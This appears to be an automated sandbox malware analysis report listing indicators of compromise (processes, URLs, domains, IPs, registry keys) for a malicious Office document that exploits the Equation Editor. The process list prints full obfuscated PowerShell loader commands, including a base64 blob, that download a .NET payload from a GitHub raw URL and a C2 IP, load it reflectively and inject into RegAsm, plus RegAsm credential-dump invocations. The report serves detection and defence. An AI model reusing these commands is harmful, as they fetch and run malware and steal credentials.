Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Windows\SysWOW64\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicepciturewithggreatethingstob.vBS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezJ9JysndXInKydsJysnID0geycrJzF9aHQnKyd0cCcrJ3M6Ly9yYScrJ3cuZ2knKyd0aCcrJ3VidXNlcmNvbnRlbnQuY29tL04nKydvRGV0ZWMnKyd0JysnT24vTm9EZXQnKydlY3RPJysnbicrJy8nKydyZWZzJysnL2hlYWQnKydzL21haW4vJysnRGV0JysnYWhOb3QnKydoJysnLScrJ1YudHh0ezEnKyd9OyAnKyd7Mn0nKydiYXNlNicrJzRDb250JysnZW50ICcrJz0nKycgKE4nKydlJysndy0nKydPYmonKydlY3QgU3lzdCcrJ2UnKydtLk4nKydldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLicrJ0RvJysnd24nKydsb2EnKydkU3QnKydyJysnaScrJ25nKCcrJ3syfXUnKydybCk7IHsyfWJpbmEnKydyeUNvbnRlbicrJ3QgJysnPSBbJysnUycrJ3lzdGVtJysnLkNvbnYnKydlcnRdOjpGJysncicrJ28nKydtJysnQmFzZTY0U3RyaScrJ25nJysnKHsyfWJhcycrJ2U2NCcrJ0NvbnRlJysnbnQpOycrJyAnKyd7MicrJ30nKydhJysnc3NlbWInKydsJysneScrJyA9JysnIFtSZWZsJysnZScrJ2N0JysnaScrJ28nKyduLkFzc2VtJysnYicrJ2x5XScrJzo6TG9hJysnZCh7JysnMn1iJysnaW5hcnlDbycrJ24nKyd0ZW50JysnKTsgW2RubGknKydiLicrJ0lPJysnLkhvJysnbWVdJysnOjpWQUkoezB9dHh0LkUnKydDJysnQ05OLzA0JysnMi83NDEuMDMnKycxLicrJzI3MS43JysnMDEvLycrJzpwdHRoJysnezB9JysnLCB7JysnMH1kJysnZXMnKydhdGknKyd2JysnYWRvJysnezB9JysnLCB7JysnMH1kZXNhdGknKyd2YWRvezB9LCB7JysnMH1kZXNhJysndGknKyd2YWQnKydvJysnezB9LCB7JysnMH1SJysnZScrJ2cnKydBJysnc217MH0sIHswfXswfSwnKyd7MH17MH0pJyktZltjaGFyXTM0LFtjaGFyXTM5LFtjaGFyXTM2KSB8LiAoICRQc0hPTWVbMjFdKyRQU0hPTWVbMzBdKydYJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{2}'+'ur'+'l'+' = {'+'1}ht'+'tp'+'s://ra'+'w.gi'+'th'+'ubusercontent.com/N'+'oDetec'+'t'+'On/NoDet'+'ectO'+'n'+'/'+'refs'+'/head'+'s/main/'+'Det'+'ahNot'+'h'+'-'+'V.txt{1'+'}; '+'{2}'+'base6'+'4Cont'+'ent '+'='+' (N'+'e'+'w-'+'Obj'+'ect Syst'+'e'+'m.N'+'et.'+'We'+'bCli'+'e'+'nt'+').'+'Do'+'wn'+'loa'+'dSt'+'r'+'i'+'ng('+'{2}u'+'rl); {2}bina'+'ryConten'+'t '+'= ['+'S'+'ystem'+'.Conv'+'ert]::F'+'r'+'o'+'m'+'Base64Stri'+'ng'+'({2}bas'+'e64'+'Conte'+'nt);'+' '+'{2'+'}'+'a'+'ssemb'+'l'+'y'+' ='+' [Refl'+'e'+'ct'+'i'+'o'+'n.Assem'+'b'+'ly]'+'::Loa'+'d({'+'2}b'+'inaryCo'+'n'+'tent'+'); [dnli'+'b.'+'IO'+'.Ho'+'me]'+'::VAI({0}txt.E'+'C'+'CNN/04'+'2/741.03'+'1.'+'271.7'+'01//'+':ptth'+'{0}'+', {'+'0}d'+'es'+'ati'+'v'+'ado'+'{0}'+', {'+'0}desati'+'vado{0}, {'+'0}desa'+'ti'+'vad'+'o'+'{0}, {'+'0}R'+'e'+'g'+'A'+'sm{0}, {0}{0},'+'{0}{0})')-f[char]34,[char]39,[char]36) |. ( $PsHOMe[21]+$PSHOMe[30]+'X')"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vzdom"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\ftrhfuxf"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\inwrfmihsqs"

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

URLs

Name

Malicious

dumboi.duckdns.org

http://107.172.130.147/240/NNCCE.txt

107.172.130.147

http://107.172.130.147/240/nicepciturewithggreatethingstobe.tIF

107.172.130.147

http://b.scorecardresearch.com/beacon.js

unknown

http://acdn.adnxs.com/ast/ast.js

unknown

http://www.imvu.com/iK

unknown

http://www.imvu.comr

unknown

http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_

unknown

http://107.172.130.147

unknown

http://ocsp.entrust.net03

unknown

https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1

unknown

https://contoso.com/License

unknown

http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png

unknown

http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0

unknown

http://www.diginotar.nl/cps/pkioverheid0

unknown

https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9

unknown

http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html

unknown

http://www.nirsoft.net

unknown

https://deff.nelreports.net/api/report?cat=msn

unknown

https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js

unknown

http://107.172.130.147/240/nicepciturewithggreatethingstobe.tIFj

unknown

http://go.micros

unknown

http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com

unknown

http://cache.btrll.com/default/Pix-1x1.gif

unknown

http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683

unknown

https://www.google.com

unknown

http://geoplugin.net/json.gp/C

unknown

http://o.aolcdn.com/ads/adswrappermsni.js

unknown

http://cdn.taboola.com/libtrc/msn-home-network/loader.js

unknown

http://www.msn.com/?ocid=iehp

unknown

https://contoso.com/

unknown

https://nuget.org/nuget.exe

unknown

https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033

unknown

http://static.chartbeat.com/js/chartbeat.js

unknown

http://www.msn.com/de-de/?ocid=iehp

unknown

http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%

unknown

https://login.yahoo.com/config/login

unknown

http://www.nirsoft.net/

unknown

http://ocsp.entrust.net0D

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3

unknown

http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683

unknown

http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(

unknown

https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9

unknown

http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh

unknown

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

185.199.109.133

http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js

unknown

http://nuget.org/NuGet.exe

unknown

https://www.ccleaner.com/go/app_cc_pro_trialkey

unknown

http://crl.entrust.net/server1.crl0

unknown

https://contextual.media.net/8/nrrV73987.js

unknown

http://www.imvu.com

unknown

https://contoso.com/Icon

unknown

https://contextual.media.net/

unknown

http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js

unknown

https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2

unknown

http://www.msn.com/

unknown

https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

unknown

http://geoplugin.net/json.gp

178.237.33.50

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

unknown

http://107.172.130.147/240/nicepciturewithggreatethingstobe.tIFG

unknown

https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549

unknown

https://raw.githubusercontent.com

unknown

http://cdn.at.atwola.com/_media/uac/msn.html

unknown

https://www.google.com/accounts/servicelogin

unknown

http://107.172.130.147/240/nicepciturewithggreatethingstobe.tIFW

unknown

http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset

unknown

https://secure.comodo.com/CPS0

unknown

https://policies.yahoo.com/w3c/p3p.xml

unknown

http://crl.entrust.net/2048ca.crl0

unknown

http://www.msn.com/advertisement.ad.js

unknown

http://www.ebuddy.com

unknown

There are 62 hidden URLs, click here to show them.

Domains

Name

Malicious

dumboi.duckdns.org

185.236.203.101

Details

Name:	dumboi.duckdns.org
IP:	185.236.203.101
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Found malware configuration	AV Detection
Suricata IDS alerts for network traffic	Networking
C2 URLs / IPs found in malware configuration	Networking	Application Layer Protocol
Uses dynamic DNS services	Networking	Application Layer Protocol
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

raw.githubusercontent.com

185.199.109.133

Details

Name:	raw.githubusercontent.com
IP:	185.199.109.133
TargetID:	8
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

geoplugin.net

178.237.33.50

Details

Name:	geoplugin.net
IP:	178.237.33.50
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Suricata IDS alerts with low severity for network traffic	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

185.236.203.101

dumboi.duckdns.org

Romania

Details

IP:	185.236.203.101
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Country:	Romania
Countrycode:	ROU
ASN number:	9009
ASN name:	M247GB
Private:	false
Domain:	dumboi.duckdns.org

Signature Hits	Behavior Group	Mitre Attack
Suricata IDS alerts for network traffic	Networking
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port

107.172.130.147

unknown

United States

Details

IP:	107.172.130.147
TargetID:	2
Current Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Country:	United States
Countrycode:	USA
ASN number:	36352
ASN name:	AS-COLOCROSSINGUS
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Suricata IDS alerts for network traffic	Networking
Office equation editor establishes network connection	Exploits	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

185.199.109.133

raw.githubusercontent.com

Netherlands

Details

IP:	185.199.109.133
TargetID:	8
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Country:	Netherlands
Countrycode:	NLD
ASN number:	54113
ASN name:	FASTLYUS
Private:	false
Domain:	raw.githubusercontent.com

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking

178.237.33.50

geoplugin.net

Netherlands

Details

IP:	178.237.33.50
TargetID:	9
Current Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Country:	Netherlands
Countrycode:	NLD
ASN number:	8455
ASN name:	ATOM86-ASATOM86NL
Private:	false
Domain:	geoplugin.net

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Suricata IDS alerts with low severity for network traffic	Networking

Registry

Path

Value

Malicious

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

oh/

HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word

Enabled

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

'i/

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

~j/

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\281BD

281BD